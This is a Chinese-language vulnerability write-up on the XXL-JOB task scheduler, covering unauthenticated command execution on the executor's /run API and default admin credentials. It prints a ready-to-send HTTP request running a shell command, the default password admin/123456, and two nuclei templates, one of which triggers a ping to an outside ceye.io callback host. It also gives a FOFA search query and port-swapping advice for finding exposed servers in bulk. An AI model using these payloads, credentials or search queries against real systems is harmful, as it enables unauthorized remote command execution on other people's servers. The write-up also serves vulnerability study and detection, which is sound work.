0x01 漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
XXL-JOB<=2.1.2,需要利用Hessian触发:https://github.com/OneSourceCat/XxlJob-Hessian-RCE
XXL-JOB>=2.2.0,支持RESTFUL API,直接打公开的POC过去即可。

0x02 漏洞复现

使用vulhub的2.2.0版本的XXL-JOB环境,访问http://your-ip:8080即可查看到管理端(admin),访问http://your-ip:9999 可以查看到客户端(executor)。除了executor没有配置认证以外,管理端也可能存在默认口令的问题:admin/123456
访问8080端口为404:
image.png

管理端(admin)默认口令RCE

访问/xxl-job-admin/为管理端登录地址,输入默认口令admin/123456进行登录:
image.png
登录后任务管理-新增,运行模式选择GLUE(Shell),其它选项符合规则即可。image.png
image.png
image.png
image.png
image.png
image.png

执行端(executor)未配置认证

访问executor端:
image.png
向客户端(executor)发送如下数据包,即可执行命令:

  1. POST /run HTTP/1.1
  2. Host: your-ip:9999
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 365
  10. {
  11. "jobId": 1,
  12. "executorHandler": "demoJobHandler",
  13. "executorParams": "demoJobHandler",
  14. "executorBlockStrategy": "COVER_EARLY",
  15. "executorTimeout": 0,
  16. "logId": 1,
  17. "logDateTime": 1586629003729,
  18. "glueType": "GLUE_SHELL",
  19. "glueSource": "touch /tmp/success",
  20. "glueUpdatetime": 1586699003758,
  21. "broadcastIndex": 0,
  22. "broadcastTotal": 0
  23. }

image.png
image.png
RESTful API参数说明:

  1. 说明:触发任务执行
  2. ------
  3. 地址格式:{执行器内嵌服务跟地址}/run
  4. Header
  5. XXL-JOB-ACCESS-TOKEN : {请求令牌}
  6. 请求数据格式如下,放置在 RequestBody 中,JSON格式:
  7. {
  8. "jobId":1, // 任务ID
  9. "executorHandler":"demoJobHandler", // 任务标识
  10. "executorParams":"demoJobHandler", // 任务参数
  11. "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
  12. "executorTimeout":0, // 任务超时时间,单位秒,大于零时生效
  13. "logId":1, // 本次调度日志ID
  14. "logDateTime":1586629003729, // 本次调度日志时间
  15. "glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
  16. "glueSource":"xxx", // GLUE脚本代码
  17. "glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
  18. "broadcastIndex":0, // 分片参数:当前分片
  19. "broadcastTotal":0 // 分片参数:总分片
  20. }
  21. 响应数据格式:
  22. {
  23. "code": 200, // 200 表示正常、其他失败
  24. "msg": null // 错误提示消息
  25. }

其中glueType还可以指定执行其它类型的脚本:

  1. BEAN("BEAN", false, null, null),
  2. GLUE_GROOVY("GLUE(Java)", false, null, null),
  3. GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
  4. GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
  5. GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
  6. GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
  7. GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

0x03 漏洞发现

端口特征:8080,9999
响应包特征:{“code”:500,”msg”:”invalid request, HttpMethod not support.”}
管理端默认口令nuclei模板:

  1. id: xxljob-default-login
  2. info:
  3. name: XXL-JOB Default Login
  4. author: pdteam
  5. severity: high
  6. tags: default-login,xxljob
  7. description: XXL-JOB default admin credentials were discovered.
  8. reference:
  9. - https://github.com/xuxueli/xxl-job
  10. classification:
  11. cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
  12. cvss-score: 8.3
  13. cve-id:
  14. cwe-id: CWE-522
  15. requests:
  16. - raw:
  17. - |
  18. POST /xxl-job-admin/login HTTP/1.1
  19. Host:{{Hostname}}
  20. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  21. userName={{username}}&password={{password}}
  22. payloads:
  23. username:
  24. - admin
  25. password:
  26. - 123456
  27. attack: pitchfork
  28. matchers-condition: and
  29. matchers:
  30. - type: word
  31. words:
  32. - '"code":200'
  33. - '"msg"'
  34. - '"content"'
  35. condition: and
  36. - type: word
  37. words:
  38. - 'application/json'
  39. - 'XXL_JOB_LOGIN_IDENTITY'
  40. part: header
  41. condition: and
  42. - type: status
  43. status:
  44. - 200
  45. # Enhanced by mp on 2022/03/14

执行端未配置认证nuclei模板,在参数部分填写自己cyey.io地址辅助参考:

  1. id: xxl-job-executor-unauthorized-access
  2. info:
  3. name: XXL JOB Executor Unauthorized Access
  4. author: kemoon
  5. severity: critical
  6. description: XXL JOB Executor unauthorized access vulnerability
  7. tags: xxljob,unauthorized
  8. reference:
  9. - https://landgrey.me/blog/18/
  10. requests:
  11. - raw:
  12. - |
  13. POST /run HTTP/1.1
  14. Host: {{Hostname}}
  15. Accept: application/json
  16. content-type: application/json
  17. {"jobId":1,"executorHandler":"demoJobHandler","executorParams":"demoJobHandler","executorBlockStrategy":"COVER_EARLY","executorTimeout":0,"logId": 1,"logDateTime":1586629003729,"glueType":"GLUE_SHELL","glueSource":"ping {{Host}}.t5s8b8.ceye.io","glueUpdatetime":1586699003758,"broadcastIndex":0,"broadcastTotal":0}
  18. matchers-condition: and
  19. matchers:
  20. - type: status
  21. status:
  22. - 200
  23. - type: word
  24. part: body
  25. words:
  26. - "200"

fofa语法:port=”9999” && body=”HttpMethod not support” && country=”CN”
image.png
image.png
将端口9999批量替换为8080,探测默认口令:
image.png

0x04 修复建议

  1. 修复弱口令
  2. 任务调度限制内网访问